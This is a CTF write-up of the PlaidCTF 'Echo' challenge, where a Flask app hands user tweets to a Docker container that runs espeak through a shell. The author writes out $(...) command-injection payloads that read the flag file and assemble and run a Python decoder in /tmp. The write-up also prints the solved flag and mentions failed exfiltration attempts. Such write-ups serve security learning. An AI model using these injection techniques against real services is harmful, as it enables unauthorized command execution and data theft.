PPP (plaid parliament of pwning) puts on one of the best online Jeopardy CTFs. I wish I had more time that weekend (runs for 48hrs only) and a full team, either way I decided to give this one a try.

Disclaimer, was not solved within the allotted time.

Echo

Challenge: If you hear enough, you may hear the whispers of a key…
If you see app.py well enough, you will notice the UI sucks…

No hints.



Alright, we have a flask app and the UI isn’t much. You enter some text and it spits back an audio file of the inputted text.

pic1 tweetAudio

Taking a closer look at app.py we see a few interesting things:

  1. the flag is “encrypted” with a bitwise XOR
    for x in flag:
          c = 0
          towrite = ''
          for i in range(65000 - 1):
              k = random.randint(0,127)
              c = c ^ k
              towrite += chr(k)
    
          f.write(towrite + chr(c ^ ord(x)))
    
    • To decrypt each flag char you need the last c and c starts life at 0.
    • Each k is written to file (this is important!)
  2. a docker container spawns and processes input tweets (140 chars max/tweet)

  3. three items are mounted from host to the container: -v {path}:/share

    host container
    host_path/input /share/input
    host_path/out/ /share/out/
    host_path/flag /share/flag
  4. the docker container was readily available on dockerhub, with the interesting bit being run.py. This converts each tweet TTS (text-to-speech) and stores the corresponding .wav files at /share/out/

    docker pull lumjjb/echo_container
    docker run -it lumjjb/echo_container /bin/bash
    cat run.py
    
    • Examining run.py a bit closer we have command substitution available via l. Awesome!

      call(["sh","-c", "espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])

So let’s start asking the container questions. My preference is $(...) instead of backticks… Why is $(…) preferred over `` (backticks)?

tweet_1: $(wc -c /share/flag) = 2470000 flag

Cool, the flag file is 2,470,000 bytes. We know a single flag char consumes 65,000 bytes (64,999 k values + ‘encrypted’ x). So the flag length is 38.

Here is where I got stuck. I was so focused on getting /share/flag out of the container I overlooked a very important part of the challenge… there was no need to get the flag out. All the processing could be done on the container.

/share/flag has all values of k, which enables solving for c before the last XOR.

Here is the code needed to ‘decrypt’ the flag:

with open ("/share/flag", "rb") as f:
    x=65000
    while True:
        b = f.read(x)
        if not b:
            break
        c=0
        for i in range(x-1):
            c = c ^ ord(b[i])
        print c ^ ord(b[x-1])

Each tweet is 140 characters max… maybe there is a perl one liner? Most likely, but instead I wrote some python code into /tmp and ran it.

tweet_1

$(echo "with open (\"/share/flag\", \"rb\") as f:\n\tx=65000\n\twhile True:\n\t\tb = f.read(x)\n\t\tif not b:\n\t\t\tbreak" > /tmp/s.py)

tweet_2

$(echo "\t\tc=0\n\t\tfor i in range(x-1):\n\t\t\tc = c ^ ord(b[i])\n\t\tprint c ^ ord(b[x-1])" >> /tmp/s.py)

tweet_3

$(python /tmp/s.py)

audio from tweet_3 (3.wav) gave us the ASCII int

>>> flag = [80, 67, 84, 70, 123, 76, 49, 53, 115, 116, 51, 110, 95, 84, 48, 95, 95, 114, 101, 101, 101, 95, 114, 101, 101, 101, 101, 101, 101, 95, 114, 101, 101, 101, 95, 108, 97, 125]
>>> "".join(chr(x) for x in flag)
'PCTF{L15st3n_T0__reee_reeeeee_reee_la}'

PPP well done!



Failed attempts.

  1. Tried getting the last 3 k values and x for each flag char and brute forcing all the possible combinations. This was not fruitful and didn’t seem like the right approach. Cannot solve without having all the k values.

  2. tweet_1: blank , tweet_2: cat /share/flag >> /share/out/1.wav and then downloads 1.wav but this failed because ffmpeg could not recognize the file format and no .wav was generated in the first place.

  3. I tried to get /share/flag off the container.
    • apt-get install rsync, netcat, etc, etc. But none of those worked.
  4. I tried to setup a python TCP client and send the /share/flag back to a listening port but that did not work.

Wait a second, --network=none, which means that container is lacking a network interface. 🤦